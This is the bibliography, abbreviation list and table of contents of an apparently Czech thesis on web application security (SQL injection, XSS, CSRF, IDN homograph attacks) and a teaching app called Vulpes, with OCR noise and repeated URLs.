report, The Unicode Consortium. URL https://www.unicode.org/report
s/tr39/tr39-26 .html.

EURID (2023). Domain names with special characters (idns). online [cit. 2023-
06-28]. URL https://eurid.eu/en/register-a-eu-domain/domain-names
-with-special-characters-idns/. Dostupné z archivu: https://web.arch
ive.org/web/20230627235427 /https://eurid.eu/en/register-a-eu-dom
ain/domain-names-with-special-characters-idns/.

FIELDING, R. T., NOTTINGHAM, M. a RESCHKE, J. (2022). HTTP Semantics.
RFC 9110. URL https://www.rfc-editor.org/info/rfc9110.

o1


https://www.rfc-editor.org/info/rfc3986
https://www.rfc-editor.org/info/rfc3986
https://static.cira.ca/policy/canadian-presence-requirements-for-registrants.pdf
https://static.cira.ca/policy/canadian-presence-requirements-for-registrants.pdf
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://web.archive.org/web/20230620085749/https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://web.archive.org/web/20230620085749/https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://web.archive.org/web/20230620085749/https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
https://www.nic.cz/files/documents/20180525_Pravidla_registrace_CZ_final.pdf
https://www.nic.cz/files/documents/20180525_Pravidla_registrace_CZ_final.pdf
https://www.nic.cz/files/documents/20180525_Pravidla_registrace_CZ_final.pdf
https://h%C3%A1%C4%8Dky%C4%8D%C3%A1rky.cz
https://web.archive.org/web/20230531183754/https://h%C3%A1%C4%8Dky%C4%8D%C3%A1rky.cz/
https://web.archive.org/web/20230531183754/https://h%C3%A1%C4%8Dky%C4%8D%C3%A1rky.cz/
https://www.ndss-symposium.org/ndss2014/tangled-web-password-reuse
https://www.ndss-symposium.org/ndss2014/tangled-web-password-reuse
https://www.unicode.org/reports/tr36/tr36-15.html
https://www.unicode.org/reports/tr36/tr36-15.html
https://www.unicode.org/reports/tr39/tr39-26.html
https://www.unicode.org/reports/tr39/tr39-26.html
https://eurid.eu/en/register-a-eu-domain/domain-names-with-special-characters-idns/
https://eurid.eu/en/register-a-eu-domain/domain-names-with-special-characters-idns/
https://web.archive.org/web/20230627235427/https://eurid.eu/en/register-a-eu-domain/domain-names-with-special-characters-idns/
https://web.archive.org/web/20230627235427/https://eurid.eu/en/register-a-eu-domain/domain-names-with-special-characters-idns/
https://web.archive.org/web/20230627235427/https://eurid.eu/en/register-a-eu-domain/domain-names-with-special-characters-idns/
https://www.rfc-editor.org/info/rfc9110

FALTSTROM, P. a HOFFMAN, P. E. (2003). Internationalizing Domain Names
in Applications (IDNA). RFC 3490. URL https://www.rfc-editor.org/in
fo/rfc3490.

MoziLLa (2023a). HTTP Cookies. online [cit. 2023-07-05]. URL https://deve
loper.mozilla.org/en-US/docs/Web/HTTP/Cookies. Dostupné z archivu:
https://web.archive.org/web/20230701223634/https://developer.mo
zilla.org/en-US/docs/Web/HTTP/Cookies.

MoziLLA (2023b). World Wide Web. online [cit. 2023-06-25]. URL https://de
veloper.mozilla.org/en-US/docs/Glossary/World Wide Web. Dostupné z
archivu: https://web.archive.org/web/20230607092931/https://develo
per.mozilla.org/en-US/docs/Glossary/World_Wide_Web.

MoziLLA FOUNDATION (2022). Public Suffix List. online [cit. 2023-07-06]. URL
https://publicsuffix.org/. Dostupné z archivu: https://web.archive.
org/web/20230626052728/https://publicsuffix.org/.

RESCORLA, E. (2018). The Transport Layer Security (TLS) Protocol Version
1.3. RFC 8446. URL https://www.rfc-editor.org/info/rfc8446.

SADIKU, M. N., SHADARE, A. E. a Musa, S. M. (2016). Social engineering:
An introduction. Journal of Scientific and Engineering Research, 3(3), 64—66.
URL https://jsaer.com/archive/volume-3-issue-3-2016/.

SITNICK, K. a OWASP CoMMUNITY (2022). Cross Site Scripting (XSS). online
cit. 2023-06-25]. URL https://owasp.org/www-community/attacks/xss/.
Dostupné z archivu: https://web.archive.org/web/20230621141830/htt
ps://owasp.org/www-community/attacks/xss/.

SITNICK, K. a OWASP ComMmuNITY (2023). Cross Site Request Forgery
(CSRF). online [cit. 2023-06-25]. URL https://owasp.org/www-communi
ty/attacks/csrf. Dostupné z archivu: https://web.archive.org/web/20
230521093708/https://owasp.org/www-community/attacks/csrf.

SK-NIC (2023). Pravidld poskytovania domén v doméne najvyssej drovne .sk.
URL https://sk-nic.sk/wp-content/uploads/dokumenty/Pravidla_2023
_06_01_final.pdf.

STEVENS, M. M. J. (2007). On Collisions For MD5. Master’s thesis, Eindhoven
University of Technology.

VAN DER STOCK, A., GLAS, B., SMITHLINE, N. a GIGLER, T. (2023). OWASP
Top Ten. online [cit. 2023-06-23]. URL https://owasp.org/www-project-t
op-ten/. Dostupné z archivu: https://web.archive.org/web/2023062221
5611/https://owasp.org/www—-project-top-ten/.

WHATWG (2023a). Fetch Living Standard. online [cit. 2023-07-05]. URL
https://fetch.spec.whatwg.org/. Dostupné z archivu: https://web.arch
ive.org/web/20230703104333/https://fetch.spec.whatwg.org/.

52


https://www.rfc-editor.org/info/rfc3490
https://www.rfc-editor.org/info/rfc3490
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://web.archive.org/web/20230701223634/https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://web.archive.org/web/20230701223634/https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
https://developer.mozilla.org/en-US/docs/Glossary/World_Wide_Web
https://developer.mozilla.org/en-US/docs/Glossary/World_Wide_Web
https://web.archive.org/web/20230607092931/https://developer.mozilla.org/en-US/docs/Glossary/World_Wide_Web
https://web.archive.org/web/20230607092931/https://developer.mozilla.org/en-US/docs/Glossary/World_Wide_Web
https://publicsuffix.org/
https://web.archive.org/web/20230626052728/https://publicsuffix.org/
https://web.archive.org/web/20230626052728/https://publicsuffix.org/
https://www.rfc-editor.org/info/rfc8446
https://jsaer.com/archive/volume-3-issue-3-2016/
https://owasp.org/www-community/attacks/xss/
https://web.archive.org/web/20230621141830/https://owasp.org/www-community/attacks/xss/
https://web.archive.org/web/20230621141830/https://owasp.org/www-community/attacks/xss/
https://owasp.org/www-community/attacks/csrf
https://owasp.org/www-community/attacks/csrf
https://web.archive.org/web/20230521093708/https://owasp.org/www-community/attacks/csrf
https://web.archive.org/web/20230521093708/https://owasp.org/www-community/attacks/csrf
https://sk-nic.sk/wp-content/uploads/dokumenty/Pravidla_2023_06_01_final.pdf
https://sk-nic.sk/wp-content/uploads/dokumenty/Pravidla_2023_06_01_final.pdf
https://owasp.org/www-project-top-ten/
https://owasp.org/www-project-top-ten/
https://web.archive.org/web/20230622215611/https://owasp.org/www-project-top-ten/
https://web.archive.org/web/20230622215611/https://owasp.org/www-project-top-ten/
https://fetch.spec.whatwg.org/
https://web.archive.org/web/20230703104333/https://fetch.spec.whatwg.org/
https://web.archive.org/web/20230703104333/https://fetch.spec.whatwg.org/

WHATWG (2023b). HTML Living Standard. online [cit. 2023-07-04]. URL
https://html.spec.whatwg.org/. Dostupné z archivu: https://web.arch
ive.org/web/20230701224301/https://html. spec.whatwg.org/.

ZANG, Y. (2019). Rainbow Tables. URL https://umm-csci.github.io/seni
or-seminar/seminars/fall2019/zang.pdf.

93


https://html.spec.whatwg.org/
https://web.archive.org/web/20230701224301/https://html.spec.whatwg.org/
https://web.archive.org/web/20230701224301/https://html.spec.whatwg.org/
https://umm-csci.github.io/senior-seminar/seminars/fall2019/zang.pdf
https://umm-csci.github.io/senior-seminar/seminars/fall2019/zang.pdf

o4



Seznam pouzitych zkratek

CA Certificate Authority . . . . . . . . . ... ... [16],
CORS Cross-Origin Resource Sharing . . . . . . ... ... 18], 31}, 36}
CSRF Cross-Site Request Forgery . . . ... ... ... .. 136}, (42}, [43]
CSS Cascading Style Sheets . . . . . . . . ... ... ... ..... 6}, [8}, [19} [41]
HTML HyperText Markup Language . . . . [11] [I7], 19} [20] 135]
HTTP HyperText Transfer Protocol . . . . . [TIHI3] [17], [19} 22} (30}, B3}, B4} [47]
HTTPS HyperText Transfer Protocol Secure . . . . . .. ... ... [15]
IDN Internationalized Domain Name . . . . . . . .. .. ... ... .... 38
JSON JavaScript Object Notation . . . . . . . ... ... ... .. .....
MAC Message Authentication Code . . . . . .. ... ... ... ... . 12
MITM Man in the Middle . . . .. ... ... ... ... ... ....... 16
NAT Network Address Translation . . . . . . .. .. ... ... ..... B1]
ORM Object-Relational Mapping . . . . . . . . . .. ... ... .... 27,
SPA Single Page Application . . . . . . ... .. ... ... ... .. ... 20]
SQL Structured Query Language . . . . . . . ... .. .. 20, 23427, 29] [42]
TCP Transmission Control Protocol . . . . . . . ... ... ... ... ... 1l
TLD Top Level Domain . . . . . . . . . . .. .. ... ... .. ..... =
TLS Transport Layer Security . . . .. ... ... ... ....... 13,
URL Uniform Resource Locator . . ... .. [7, |8 [11}, [13] 21} 3840}
WWW World Wide Web . . . .. ... ... ... ... ... ... B
XSS Cross-Site Scripting . . . . . . .. ... 6], [15] [29H33}, [43]

95



o6



	Úvod
	Webové stránky
	World Wide Web
	HTML
	CSS + JavaScript
	Webový Server
	URL
	Doménové jméno
	Dynamické stránky

	Protokoly
	HTTP
	HTTPS
	Stavové kódy
	Metody HTTP
	Cookies
	Certifikáty
	Cross-Origin Resource Sharing

	Webové aplikace
	Úvod
	Architektura
	Databáze
	Autentizace
	Bezpečnost

	SQL injection
	Jazyk SQL
	Vsunutí SQL příkazu
	Následky
	Hesla a hashování
	Vsunutí složitějšího příkazu
	Prevence

	Cross-site scripting
	Úvod
	Typy XSS
	Stored Server XSS
	Session hijacking
	Prevence

	Cross-site request forgery
	Úvod
	Jednoduchý příklad
	Nesprávné využití požadavků GET
	Zachrání nás metoda POST?
	Jak se bránit CSRF?

	Newebové útoky
	Sociální inženýrství
	Phishing
	Homografový útok
	Internationalized Domain Names
	IDN homografový útok
	Typosquatting
	Unicode
	Syntax spoofing
	Prevence

	Vulpes
	Úvod
	Technologie
	Aplikace
	Mail
	Chat
	Shop
	Attacker
	Index

	Cvičení
	Newebové zranitelnosti
	SQL Injection
	Cross-Site Scripting
	Cross-Site Request Forgery

	Struktura projektu
	Spuštění

	Závěr
	Seznam použité literatury
	Seznam použitých zkratek

